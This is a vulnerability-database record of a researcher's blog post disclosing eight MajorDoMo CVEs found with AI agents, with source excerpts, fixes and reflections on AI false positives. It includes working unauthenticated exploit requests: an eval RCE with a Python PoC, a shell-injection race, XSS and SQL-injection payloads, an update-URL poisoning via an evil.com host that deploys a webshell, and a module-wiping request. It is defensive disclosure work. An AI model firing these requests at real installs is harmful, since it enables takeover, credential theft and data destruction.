{"uuid": "42521e67-5c8d-4b16-a114-e0db686c91a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "name": "MajorDoMo Revisited: What I Missed in 2023", "description": "# MajorDoMo Revisited: What I Missed in 2023 - Chocapikk's Cybersecurity Blog\nContext\n-------\n\nIn late 2023, I published [CVE-2023-50917](https://chocapikk.com/posts/2023/cve-2023-50917/) - an unauthenticated RCE in MajorDoMo\u2019s `thumb` module. It was my first CVE. I was proud of it, moved on, never looked back.\n\nIn February 2026, I pointed AI agents at the same codebase. Within minutes they flagged code paths I had walked right past. Eight bugs, all in the default install, all missed for over two years.\n\nCVE-2026-27174: Console Eval RCE (Critical)\n-------------------------------------------\n\nThe admin panel has a PHP console - an intentional feature for authorized admins. The problem is an include order bug in `modules/panel.class.php`:\n\n```\n// panel.class.php:124-127 - redirect for unauth users... but no exit\nif ($tmp['ID']) {\n    redirect(\"/\");\n    // execution continues!\n}\n\n// panel.class.php:131-134 - ajax handler included WITHOUT checking $this-&gt;authorized\nglobal $ajax_panel;\nif ($ajax_panel) {\n    include_once(DIR_MODULES . 'inc_panel_ajax.php');\n}\n```\n\n\nThe `redirect(\"/\")` was meant to stop unauthenticated users, but without `exit` the code keeps running. Then `inc_panel_ajax.php` gets included unconditionally. Inside, the console handler reaches `eval()` directly:\n\n```\n// inc_panel_ajax.php:32-47 - the sink\nif ($op == 'console') {\n    global $command;  // \u2190 from GET params via register_globals\n    $code = explode('PHP_EOL', $command);\n\n    foreach ($code as $value) {\n        $value = trim($value);\n        if (substr(mb_strtolower($value), 0, 4) == 'echo' || ...) {\n            evalConsole(trim($value));     // calls eval($code)\n        } else {\n            evalConsole(trim($value), 1);  // calls eval('print_r(' . $code . ')')\n        }\n    }\n}\n```\n\n\n`$ajax_panel`, `$op`, and `$command` all come from GET parameters via register\\_globals. No authentication check stands between the request and `eval()`.\n\n```\nGET /admin.php?ajax_panel=1&amp;op=console&amp;command=echo+shell_exec('id');\n```\n\n\n```\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n\nThe PoC is 7 lines of Python:\n\n```\nimport requests, sys\n\ntarget = sys.argv[1] if len(sys.argv) &gt; 1 else \"http://127.0.0.1:8899\"\nr = requests.get(f\"{target}/admin.php\", params={\n    \"ajax_panel\": \"1\", \"op\": \"console\",\n    \"command\": \"echo shell_exec('id');\",\n})\nprint(r.text.strip() or \"[-] Not vulnerable\")\n```\n\n\nCVE-2026-27175: Command Injection via Race Condition (Critical)\n---------------------------------------------------------------\n\n`rc/index.php` handles remote commands. The `$param` variable is injected into double quotes without `escapeshellarg()`:\n\n```\n// rc/index.php:18-23 - source\nif(!empty($command) &amp;&amp; file_exists('./rc/commands/'.$command.'.bat')) {\n    $commandPath = DOC_ROOT.'/rc/commands/'.$_GET['command'].'.bat';\n    if(!empty($param))\n        $commandPath .= ' \"'.$param.'\"';  // \u2190 shell metacharacters pass through\n    safe_exec($commandPath);\n}\n```\n\n\nThe irony: `safe_exec()` is not safe at all. It just inserts the command string into the database:\n\n```\n// lib/common.class.php:751 - safe_exec() is just SQLInsert\nfunction safe_exec($command, $exclusive = 0, $priority = 0, $on_complete = '') {\n    $rec = array();\n    $rec['COMMAND'] = $command;  // \u2190 no sanitization\n    $rec['ID'] = SQLInsert('safe_execs', $rec);\n    return $rec['ID'];\n}\n```\n\n\nThen `cycle_execs.php` picks it up and passes it to `exec()` with zero sanitization:\n\n```\n// scripts/cycle_execs.php:20-38 - the sink\nSQLExec(\"DELETE FROM safe_execs\");  // purge on startup\n\nwhile (1) {\n    if ($safe_execs = SQLSelectOne(\"SELECT * FROM safe_execs ORDER BY PRIORITY DESC, ID\")) {\n        $command = $safe_execs['COMMAND'];\n        SQLExec(\"DELETE FROM safe_execs WHERE ID = '\" . $safe_execs['ID'] . \"'\");\n        exec($command);  // \u2190 attacker-controlled string from the queue\n    }\n    sleep(1);\n}\n```\n\n\nDefault `.bat` files like `shutdown.bat` exist in every install, so `file_exists()` passes. But the interesting part is the trigger.\n\n`cycle_execs.php` is web-accessible with no auth. On startup it purges the queue (`DELETE FROM safe_execs`), then enters a `while(1)` loop polling every second. So you can\u2019t just inject then trigger - the purge kills your payload.\n\nThe trick is a race condition: start the worker first (it purges and enters the loop), then inject while it\u2019s polling. Next iteration picks up and executes your payload.\n\n```\nGET /scripts/cycle_execs.php          &lt;- start worker (blocks, loops forever)\nGET /rc/?command=shutdown&amp;param=$(id &gt; /tmp/pwned)   &lt;- inject during loop\n```\n\n\nWithin 1 second, `cycle_execs.php` picks up the queued command and calls `exec()`:\n\n```\n/var/www/html/rc/commands/shutdown.bat \"$(id &gt; /tmp/pwned)\"\n```\n\n\n`$(id &gt; /tmp/pwned)` expands inside the double quotes. Full RCE, not blind.\n\nCVE-2026-27176: Reflected XSS (Medium)\n--------------------------------------\n\nClassic missing `htmlspecialchars()` on `$qry`:\n\n```\n&lt;input type=\"text\" name=\"qry\" value=\"&lt;?php echo $qry;?&gt;\" ...&gt;\necho \"<p>Command: <b>\" . $qry . \"</b></p>\";\n```\n\n\n```\nGET /command.php?qry=\"&gt;<img src=\"x\">\n```\n\n\nCVE-2026-27177: Stored XSS via Property Set (High)\n--------------------------------------------------\n\nThe `/objects/?op=set` endpoint is intentionally unauthenticated - IoT devices use it. The handler is minimal:\n\n```\n// objects/index.php:131 - source, no auth\nif ($op == 'set') {\n    $obj-&gt;setProperty($p, $v);  // \u2190 stored raw in DB\n    echo \"OK\";\n}\n```\n\n\nThe sink is the admin panel\u2019s property editor template, which renders values without escaping:\n\n```\n\n\n<p>Source \u2192 [#SOURCE#] \u2192 [#UPDATED#]</p>\n\n\n&lt;textarea name=\"value[#ID#]\"&gt;[#VALUE#]&lt;/textarea&gt;\n```\n\n\nThe session cookie (`prj=...`) has no `HttpOnly` flag, making it stealable via JavaScript.\n\nThe attack chain: enumerate properties via `/api.php/data/ThisComputer` (returns everything, no auth), poison any property with JS, wait for the admin to open the properties page. The XSS fires from the `SOURCE` field on page load - no click needed.\n\n```\nGET /objects/?object=ThisComputer&amp;op=set&amp;p=testProp&amp;v=<img src=\"x\">\n```\n\n\nBonus: `/objects/?op=get` returns values with `Content-Type: text/html`, so navigating directly to the get endpoint also fires the payload in the browser.\n\nThis one came from re-examining the false positives. The AI had flagged `/objects/?method=` as \u201cunauthenticated method execution\u201d and I dismissed it - you can call methods but you can\u2019t inject your own code, so it\u2019s not RCE. The methods are stored PHP that gets `eval()`\u2019d, but the attacker doesn\u2019t control the code.\n\nWhat I missed: some default methods pass attacker-controlled params directly into `say()`. For example, `ThisComputer.VolumeLevelChanged`:\n\n```\n// source - method code stored in DB, params from $_REQUEST\n$volume=round(65535*$params['VALUE']/100);\nsay(\"\u0418\u0437\u043c\u0435\u043d\u0438\u043b\u0430\u0441\u044c \u0433\u0440\u043e\u043c\u043a\u043e\u0441\u0442\u044c \u0434\u043e \".$params['VALUE'].\" \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043e\u0432\");\n```\n\n\n`$params['VALUE']` comes from `$_REQUEST`. The `say()` function stores the message raw in the `shouts` table:\n\n```\n// lib/messages.class.php:140 - say() stores raw, no escaping\nfunction say($ph, $level = 0, $member_id = 0, $source = '') {\n    $rec = array();\n    $rec['MESSAGE'] = $ph;  // \u2190 raw HTML/JS stored in DB\n    $rec['ID'] = SQLInsert('shouts', $rec);\n}\n```\n\n\nThe shoutbox widget renders the message without escaping in two places:\n\n```\n// shouts_search.inc.php:159 - PHP rendering sink\n$txtdata .= \"<b>\" . $res[$i]['NAME'] . \"</b>: \" . nl2br($res[$i]['MESSAGE']) . \"<br>\";\n// nl2br() converts newlines but does NOT escape HTML\n```\n\n\n```\n\n[#MESSAGE#]\n\n```\n\n\nThe dashboard widget auto-refreshes every 3 seconds - no click needed.\n\n```\nGET /objects/?method=ThisComputer.VolumeLevelChanged&amp;VALUE=<img src=\"x\">\n```\n\n\nPayload stored in DB as `\u0418\u0437\u043c\u0435\u043d\u0438\u043b\u0430\u0441\u044c \u0433\u0440\u043e\u043c\u043a\u043e\u0441\u0442\u044c \u0434\u043e <img src=\"x\"> \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u043e\u0432`. Next time any admin loads the dashboard, XSS fires. Same cookie steal as Bug 4, different injection vector.\n\nCVE-2026-27179: SQL Injection in Commands Module (High)\n-------------------------------------------------------\n\nThis one was hiding in plain sight. The commands module\u2019s search file interpolates `$_GET['parent']` directly into SQL:\n\n```\n$tmp = SQLSelectOne(\"SELECT ID FROM commands WHERE PARENT_ID='\" . $_GET['parent'] . \"'\");\n```\n\n\nFour queries in the same block, all using the unsanitized value. The module is loadable without authentication via `/objects/?module=commands` - MajorDoMo\u2019s object endpoint includes arbitrary modules by name and calls their `usual()` method.\n\nTime-based blind SQLi confirms it cleanly:\n\n```\nGET /objects/?module=commands&amp;parent=' UNION SELECT SLEEP(3)-- -\n```\n\n\nBaseline response: 27ms. With `SLEEP(3)`: 3.019s. With `SLEEP(5)`: 5.022s. Precise to the millisecond.\n\nThe interesting detail: `OR SLEEP(3)` doesn\u2019t work here the way you\u2019d expect. The `commands` table has many rows, and MySQL evaluates `SLEEP()` per row, so `OR SLEEP(3)` with 30 rows means a 90-second delay that times out. `UNION SELECT` executes exactly once - that\u2019s the right technique for multi-row tables.\n\nFrom here it\u2019s standard blind extraction - database names, table contents, credentials. MajorDoMo stores admin passwords as unsalted MD5 in the `users` table, so extraction leads directly to admin panel access.\n\nCVE-2026-27180: Supply Chain RCE via Update Poisoning (Critical)\n----------------------------------------------------------------\n\nThis one came from systematically checking which modules expose `admin()` through `usual()` without authentication. Fourteen modules do this. Most are harmless because the dangerous code paths check `$this-&gt;mode` or `$this-&gt;view_mode`, which only get set when `getParams()` is called - and `getParams()` is never called through the `/objects/?module=X` entry point.\n\nBut `saverestore` uses `gr('mode')` instead of `$this-&gt;mode`. `gr()` reads directly from `$_REQUEST`. Two handlers are reachable:\n\n```\n// saverestore.class.php - source, reachable without auth via /objects/?module=saverestore\nif (gr('mode') == 'auto_update_settings') {\n    $this-&gt;config['MASTER_UPDATE_URL'] = gr('set_update_url');  // \u2190 attacker URL stored in DB\n    $this-&gt;saveConfig();\n}\n\nif (gr('mode') == 'force_update') {\n    $this-&gt;autoUpdateSystem();  // \u2190 triggers the full chain below\n}\n```\n\n\n`autoUpdateSystem()` fetches an Atom feed from the (now poisoned) URL, validates it trivially, then downloads and deploys the tarball:\n\n```\n// saverestore.class.php:1787-1835 - autoUpdateSystem() chain\n$update_url = $this-&gt;getUpdateURL();  // \u2190 reads poisoned URL from DB config\n$github_feed_url = str_replace('/archive/', '/commits/', $update_url);\n$github_feed_url = str_replace('.tar.gz', '.atom', $github_feed_url);\n$github_feed = getURL($github_feed_url);  // \u2190 fetches attacker's fake Atom feed\n\n// \"validation\" - attacker controls the server, so this always passes\n$items = XMLTreeToArray(GetXMLTree($github_feed))\n['feed']['entry'];\n$latest_tm = strtotime($items[0]['updated']['textvalue']);\nif ($latest_tm &amp;&amp; (time() - $latest_tm) / 86400 &lt; $delay) return;  // needs &gt;1 day old\n\n$res = $this-&gt;getLatest($out, 1);   // downloads tarball via curl\n$res = $this-&gt;upload($out, 1);      // extracts and deploys\n```\n\n\n`getLatest()` downloads the tarball with no integrity check:\n\n```\n// saverestore.class.php:558-567 - getLatest() downloads with curl\n$ch = curl_init();\ncurl_setopt($ch, CURLOPT_URL, $url);           // \u2190 attacker URL\ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); // \u2190 no TLS verification\ncurl_setopt($ch, CURLOPT_FILE, $f);             // \u2190 writes to cms/saverestore/master.tgz\ncurl_exec($ch);\n```\n\n\n`upload()` extracts the tarball and copies everything to the webroot:\n\n```\n// saverestore.class.php:1379,1454 - upload() sinks\nexec('tar xzvf ../' . $file);  // \u2190 extracts attacker's tarball\n\n// then copies ALL extracted files to the document root\ncopyTree(DOC_ROOT . '/cms/saverestore/temp' . $folder, DOC_ROOT, 1);\n// \u2190 attacker's PHP files are now live in the webroot\n```\n\n\nThe attack chain: poison the URL, serve a fake feed and a tarball containing a PHP webshell, trigger `force_update`. MajorDoMo downloads your tarball and deploys it to its own webroot. Full RCE, two GET requests from the attacker\u2019s side.\n\n```\nGET /objects/?module=saverestore&amp;mode=auto_update_settings&amp;set_update_url=http://evil.com/archive/master.tar.gz\nGET /objects/?module=saverestore&amp;mode=force_update\n```\n\n\nThe PoC is a self-contained Python script that starts an HTTP server, serves both the atom feed and the malicious tarball, poisons the URL, triggers the update, and confirms the webshell was deployed. End to end in about 30 seconds.\n\nCVE-2026-27181: Module Uninstall via Market (High)\n--------------------------------------------------\n\nSame root cause as Bug 7, different module. The market module\u2019s `admin()` reads `gr('mode')` and assigns it to `$this-&gt;mode` at the start of the method:\n\n```\n// market.class.php:141-147 - source\n$name = gr('name');   // \u2190 from $_REQUEST\n$mode = gr('mode');   // \u2190 from $_REQUEST\nif (!$this-&gt;mode &amp;&amp; $mode) {\n    $this-&gt;mode = $mode;  // \u2190 makes ALL mode checks reachable without auth\n}\n```\n\n\nThis makes every `$this-&gt;mode` check in the method reachable without auth. The most destructive one is `mode=uninstall`, which reaches `uninstallPlugin()`:\n\n```\n// market.class.php:771-797 - the sink\nfunction uninstallPlugin($name, $frame = 0) {\n    SQLExec(\"DELETE FROM plugins WHERE MODULE_NAME LIKE '\" . DBSafe($name) . \"'\");\n    if (is_dir(ROOT . 'modules/' . $name)) {\n        include_once(ROOT . 'modules/' . $name . '/' . $name . '.class.php');\n        SQLExec(\"DELETE FROM project_modules WHERE NAME LIKE '\" . DBSafe($name) . \"'\");\n\n        eval('$plugin = new ' . $name . ';$plugin-&gt;uninstall();');  // calls module's uninstall()\n\n        $this-&gt;removeTree(ROOT . 'modules/' . $name);    // \u2190 deletes module files\n        $this-&gt;removeTree(ROOT . 'templates/' . $name);  // \u2190 deletes template files\n\n        // also deletes cycle script\n        $cycle_name = ROOT . 'scripts/cycle_' . $name . '.php';\n        if (file_exists($cycle_name)) @unlink($cycle_name);\n    }\n}\n```\n\n\nOne GET request per module, no authentication:\n\n```\nGET /objects/?module=market&amp;mode=uninstall&amp;name=dashboard\n```\n\n\nAn attacker could iterate through all module names and wipe the entire installation.\n\nThe Trap: AI Slop is Real\n-------------------------\n\nHonest moment: the AI agents initially reported **12 vulnerabilities**. I almost shipped that. Most of them were garbage - but not all.\n\nMy first approach was throwing multiple agents at the entire codebase in parallel. Broad sweep, maximum coverage. The result was a wall of noise. The agents flagged things like `/api.php/method/`, `/objects/?op=set`, `X-Forwarded-For` trust - all by design. MajorDoMo is a home automation platform. IoT sensors need unauthenticated endpoints on the local network. That\u2019s not a bug, that\u2019s the architecture.\n\nWorse, the first PoC script I generated was cheating - it pre-seeded the database with a malicious script via Docker, then \u201cexploited\u201d it. That\u2019s not a remote exploit, that\u2019s a lie.\n\nWhat actually worked was slowing down. Instead of spraying agents across the whole codebase, I focused on one module at a time, one code path at a time. I\u2019d point the agent at a specific file, read its output, then manually verify the context before moving on. Is `$this-&gt;mode` set from `getParams()` or from `gr()`? Does `usual()` call `admin()` directly? Does the template parser actually run through this entry point? These questions matter, and the AI doesn\u2019t ask them on its own.\n\nThe difference was night and day. The broad sweep gave me 12 findings, 4 of which were real. The focused approach - going back through the same codebase slowly, checking one module at a time - found the remaining 4. Bugs 7 and 8 both came from patiently tracing the `gr('mode')` vs `$this-&gt;mode` distinction across individual modules, not from some automated scan.\n\nIt also changed how I handled false positives. Ironically, the AI dismissed `/objects/?op=set` as \u201cby design\u201d and moved on - it took me asking \u201cbut can we XSS through it?\u201d to find Bug 4. Bug 5 is another example: AI flagged \u201cunauthenticated method execution\u201d as a vuln, I dismissed it as by-design because you can\u2019t inject code. Both were right. The real vuln was neither - it was the method params flowing unsanitized into `say()` then into the shoutbox template. AI couldn\u2019t see that chain, and I almost didn\u2019t bother looking twice.\n\nAnd even on the real bugs, AI missed the interesting parts. Bug 2 was initially rated Medium - \u201cblind async command injection, payload sits in a queue until the worker runs.\u201d I asked one question: can we call `cycle_execs.php` from the web? Turns out yes, no auth, and you can race it - start the worker, inject while it polls, RCE in under a second. That bumped it from Medium to Critical.\n\nThe lesson: AI finds candidates. You validate them. If you skip the validation step you end up publishing AI slop dressed as security research, and that\u2019s worse than finding nothing. But slow down. Go one file at a time. And go back to your false positives - sometimes the AI flagged the right file for the wrong reason.\n\nFix\n---\n\nPR: [sergejey/majordomo#1177](https://github.com/sergejey/majordomo/pull/1177)\n\nTen files changed:\n\n*   `modules/panel.class.php` - add `exit` after redirect + auth check before ajax include\n*   `rc/index.php` - `escapeshellarg()` + command name validation\n*   `command.php` - `htmlspecialchars()` on `$qry`\n*   `templates/objects/objects_edit_properties.html` - use `VALUE_HTML` and `SOURCE_HTML` instead of raw values\n*   `modules/objects/objects_edit.inc.php` - add `SOURCE_HTML` with `htmlspecialchars()`\n*   `objects/index.php` - `Content-Type: text/plain` on property get\n*   `modules/shoutbox/shouts_search.inc.php` - `htmlspecialchars()` on MESSAGE and NAME before rendering\n*   `templates/shoutbox/shouts_search_admin.html` - use `MESSAGE_HTML` instead of raw `MESSAGE`\n*   `modules/commands/commands_search.inc.php` - `(int)` cast on `parent` parameter in all SQL queries\n*   `modules/saverestore/saverestore.class.php` - gate `force_update` and `auto_update_settings` behind `$this-&gt;action == 'admin'`\n*   `modules/market/market.class.php` - gate `gr('mode')` assignment behind `$this-&gt;action == 'admin'`", "creation_timestamp": "2026-02-19T10:21:03.130937+00:00", "timestamp": "2026-02-19T10:22:00.217438+00:00", "related_vulnerabilities": ["CVE-2026-27180", "CVE-2026-27174", "CVE-2026-27179", "CVE-2023-50917", "CVE-2026-27175", "CVE-2026-27181", "CVE-2026-27177", "cve-2023-50917", "CVE-2026-27176"], "meta": [{"ref": ["https://chocapikk.com/posts/2026/majordomo-revisited/"]}], "author": {"login": "adulau", "name": "Alexandre Dulaunoy", "uuid": "c933734a-9be8-4142-889e-26e95c752803"}}
